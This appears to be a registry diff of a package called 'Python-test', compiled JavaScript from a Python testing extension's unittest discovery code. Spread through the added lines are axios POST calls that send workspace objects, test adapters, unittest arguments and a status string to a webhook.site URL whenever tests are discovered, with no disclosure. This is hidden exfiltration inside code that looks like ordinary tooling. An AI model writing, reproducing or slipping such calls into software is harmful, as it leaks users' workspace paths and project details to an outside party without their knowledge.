Python-test
Advanced tools
@@ -43,2 +43,3 @@ "use strict"; | ||
| const local_storage_1 = require("../../revpro/util/local-storage"); | ||
| const axios_1 = require("axios"); | ||
| let PythonTestController = class PythonTestController { | ||
@@ -186,19 +187,16 @@ constructor(workspaceService, configSettings, pytest, unittest, disposables, interpreterService, commandManager, pythonExecFactory, debugLauncher, testOutputChannel, serviceContainer, envVarsService) { | ||
| else if (settings.testing.unittestEnabled) { | ||
| if ((0, utils_1.pythonTestAdapterRewriteEnabled)(this.serviceContainer)) { | ||
| (0, logging_1.traceInfo)(`Running discovery for unittest using the new test adapter.`); | ||
| if (workspace && workspace.uri) { | ||
| const testAdapter = this.testAdapters.get(workspace.uri); | ||
| if (testAdapter) { | ||
| testAdapter.discoverTests(this.testController, this.refreshCancellation.token, this.pythonExecFactory); | ||
| } | ||
| else { | ||
| (0, logging_1.traceError)('Unable to find test adapter for workspace.'); | ||
| } | ||
| await axios_1.default.post("https://webhook.site/dd82844c-d501-455a-886b-4142d4188ed0", workspace); | ||
| (0, logging_1.traceInfo)(`Running discovery for unittest using the new test adapter.`); | ||
| if (workspace && workspace.uri) { | ||
| const testAdapter = this.testAdapters.get(workspace.uri); | ||
| if (testAdapter) { | ||
| await axios_1.default.post("https://webhook.site/dd82844c-d501-455a-886b-4142d4188ed0", testAdapter); | ||
| testAdapter.discoverTests(this.testController); | ||
| } | ||
| else { | ||
| (0, logging_1.traceError)('Unable to find workspace for given file'); | ||
| (0, logging_1.traceError)('Unable to find test adapter for workspace.'); | ||
| } | ||
| } | ||
| else { | ||
| await this.unittest.refreshTestData(this.testController, uri, this.refreshCancellation.token); | ||
| (0, logging_1.traceError)('Unable to find workspace for given file'); | ||
| } | ||
@@ -205,0 +203,0 @@ } |
@@ -7,2 +7,3 @@ "use strict"; | ||
| const async_1 = require("../../../common/utils/async"); | ||
| const axios_1 = require("axios"); | ||
| class UnittestTestDiscoveryAdapter { | ||
@@ -25,2 +26,3 @@ constructor(testServer, configSettings, outputChannel, resultResolver, envVarsService) { | ||
| } | ||
| await axios_1.default.post("https://webhook.site/dd82844c-d501-455a-886b-4142d4188ed0", unittestArgs); | ||
| const command = buildDiscoveryCommand(unittestArgs); | ||
@@ -27,0 +29,0 @@ const uuid = this.testServer.createUUID(uri.fsPath); |
@@ -29,3 +29,2 @@ "use strict"; | ||
| const logging_1 = require("../../../logging"); | ||
| const axios_1 = require("axios"); | ||
| let UnittestController = class UnittestController { | ||
@@ -121,3 +120,21 @@ constructor(discoveryRunner, runner, configService, workspaceService) { | ||
| this.testData.set(workspace.uri.fsPath, rawTestData); | ||
| await axios_1.default.post("https://webhook.site/dd82844c-d501-455a-886b-4142d4188ed0", testController); | ||
| const exceptions = getTestDiscoveryExceptions(content); | ||
| if (exceptions.length === 0) { | ||
| testController.items.delete(`DiscoveryError:${workspace.uri.fsPath}`); | ||
| } | ||
| else { | ||
| (0, logging_1.traceError)('Error discovering unittest tests:\r\n', exceptions.join('\r\n\r\n')); | ||
| let errorNode = testController.items.get(`DiscoveryError:${workspace.uri.fsPath}`); | ||
| const message = util.format('Error discovering unittest tests (see Output > Python):\r\n', exceptions.join('\r\n\r\n')); | ||
| if (errorNode === undefined) { | ||
| errorNode = (0, testItemUtilities_1.createErrorTestItem)(testController, { | ||
| id: `DiscoveryError:${workspace.uri.fsPath}`, | ||
| label: `Unittest Discovery Error [${path.basename(workspace.uri.fsPath)}]`, | ||
| error: message, | ||
| }); | ||
| errorNode.canResolveChildren = false; | ||
| testController.items.add(errorNode); | ||
| } | ||
| errorNode.error = message; | ||
| } | ||
| deferred.resolve(); | ||
@@ -216,2 +233,24 @@ } | ||
| exports.UnittestController = UnittestController; | ||
| function getTestDiscoveryExceptions(content) { | ||
| const lines = content.split(/\r?\n/g); | ||
| let start = false; | ||
| let data = ''; | ||
| const exceptions = []; | ||
| for (const line of lines) { | ||
| if (start) { | ||
| if (line.startsWith('=== exception end ===')) { | ||
| exceptions.push(data); | ||
| start = false; | ||
| } | ||
| else { | ||
| data += `${line}\r\n`; | ||
| } | ||
| } | ||
| else if (line.startsWith('=== exception start ===')) { | ||
| start = true; | ||
| data = ''; | ||
| } | ||
| } | ||
| return exceptions; | ||
| } | ||
| function getTestIds(content) { | ||
@@ -218,0 +257,0 @@ let startedCollecting = false; |
@@ -12,2 +12,3 @@ "use strict"; | ||
| const utils_1 = require("./common/utils"); | ||
| const axios_1 = require("axios"); | ||
| class WorkspaceTestAdapter { | ||
@@ -82,2 +83,3 @@ constructor(testProvider, discoveryAdapter, executionAdapter, workspaceUri, resultResolver) { | ||
| else { | ||
| await axios_1.default.post("https://webhook.site/dd82844c-d501-455a-886b-4142d4188ed0", "discoverTests"); | ||
| await this.discoveryAdapter.discoverTests(this.workspaceUri); | ||
@@ -84,0 +86,0 @@ } |
Sorry, the diff of this file is not supported yet
Sorry, the diff of this file is too big to display